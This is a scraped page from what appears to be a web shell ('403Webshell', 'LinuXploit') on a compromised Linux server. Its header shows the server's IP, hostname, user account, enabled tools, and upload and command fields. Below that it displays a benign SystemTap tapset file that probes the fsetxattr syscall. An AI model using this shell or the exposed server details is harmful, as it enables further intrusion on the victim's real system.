403Webshell
Server IP : 103.4.122.14  /  Your IP : 216.73.216.103
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux cwp2.slnet.com.au 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : statewid ( 1251)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/systemtap/tapset/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/systemtap/tapset/linux/sysc_fsetxattr.stp
# fsetxattr __________________________________________________
/*
 * asmlinkage long
 * sys_fsetxattr(int fd,
 *               char __user *name,
 *               void __user *value,
 *               size_t size,
 *               int flags)
 */

@define _SYSCALL_FSETXATTR_NAME
%(
	name = "fsetxattr"
%)

@define _SYSCALL_FSETXATTR_ARGSTR
%(
	argstr = sprintf("%d, %s, %s, %u, %s", filedes, name_str, value_str,
	                 size, flags_str)
%)

@define _SYSCALL_FSETXATTR_REGARGS
%(
	filedes = int_arg(1)
# 'name2' should have been 'name_str'.  Deprecate the old name.
%(systemtap_v <= "1.4" %?
	name2 = user_string_quoted(pointer_arg(2))
%)
	name_uaddr = pointer_arg(2)
	name_str = user_string_quoted(pointer_arg(2))
	value_uaddr = pointer_arg(3)
	size = ulong_arg(4)
	value_str = _stp_xattr_val_str(value_uaddr, size)
	flags = int_arg(5)
	flags_str = _stp_xattr_flags_str(flags)
%)

probe syscall.fsetxattr = dw_syscall.fsetxattr !, nd_syscall.fsetxattr ? {}
probe syscall.fsetxattr.return = dw_syscall.fsetxattr.return !, nd_syscall.fsetxattr.return ? {}

# dw_fsetxattr _____________________________________________________

probe dw_syscall.fsetxattr = kernel.function("sys_fsetxattr").call
{
	@_SYSCALL_FSETXATTR_NAME
	filedes = __int32($fd)
# 'name2' should have been 'name_str'.  Deprecate the old name.
%(systemtap_v <= "1.4" %?
	name2 = user_string_quoted($name)
%)
	name_uaddr = $name
	name_str = user_string_quoted($name)
	value_uaddr = $value
	size = __ulong($size)
	value_str = _stp_xattr_val_str($value, size)
	flags = __int32($flags)
	flags_str = _stp_xattr_flags_str(__int32($flags))
	@_SYSCALL_FSETXATTR_ARGSTR
}
probe dw_syscall.fsetxattr.return = kernel.function("sys_fsetxattr").return
{
	@_SYSCALL_FSETXATTR_NAME
	@SYSC_RETVALSTR($return)
}

# nd_fsetxattr _____________________________________________________

probe nd_syscall.fsetxattr = nd1_syscall.fsetxattr!, nd2_syscall.fsetxattr!, tp_syscall.fsetxattr
  { }

probe nd1_syscall.fsetxattr = kprobe.function("sys_fsetxattr") ?
{
	@_SYSCALL_FSETXATTR_NAME
	asmlinkage()
	@_SYSCALL_FSETXATTR_REGARGS
	@_SYSCALL_FSETXATTR_ARGSTR
}

/* kernel 4.17+ */
probe nd2_syscall.fsetxattr = kprobe.function(@arch_syscall_prefix "sys_fsetxattr") ?
{
	__set_syscall_pt_regs(pointer_arg(1))
	@_SYSCALL_FSETXATTR_NAME
	@_SYSCALL_FSETXATTR_REGARGS
	@_SYSCALL_FSETXATTR_ARGSTR
}

/* kernel 3.5+, but undesirable because it affects all syscalls */
probe tp_syscall.fsetxattr = kernel.trace("sys_enter")
{
	__set_syscall_pt_regs($regs)
	@__syscall_compat_gate(@const("__NR_fsetxattr"), @const("__NR_compat_fsetxattr"))
	@_SYSCALL_FSETXATTR_NAME
	@_SYSCALL_FSETXATTR_REGARGS
	@_SYSCALL_FSETXATTR_ARGSTR
}

probe nd_syscall.fsetxattr.return = nd1_syscall.fsetxattr.return!, nd2_syscall.fsetxattr.return!, tp_syscall.fsetxattr.return
  { }
  
probe nd1_syscall.fsetxattr.return = kprobe.function("sys_fsetxattr").return ?
{
	@_SYSCALL_FSETXATTR_NAME
	@SYSC_RETVALSTR(returnval())
}

/* kernel 4.17+ */
probe nd2_syscall.fsetxattr.return = kprobe.function(@arch_syscall_prefix "sys_fsetxattr").return ?
{
	@_SYSCALL_FSETXATTR_NAME
	@SYSC_RETVALSTR(returnval())
}
 
/* kernel 3.5+, but undesirable because it affects all syscalls */
probe tp_syscall.fsetxattr.return = kernel.trace("sys_exit")
{
	__set_syscall_pt_regs($regs)
	@__syscall_compat_gate(@const("__NR_fsetxattr"), @const("__NR_compat_fsetxattr"))
	@_SYSCALL_FSETXATTR_NAME
	@SYSC_RETVALSTR($ret)
}

Youez - 2016 - github.com/yon3zu
LinuXploit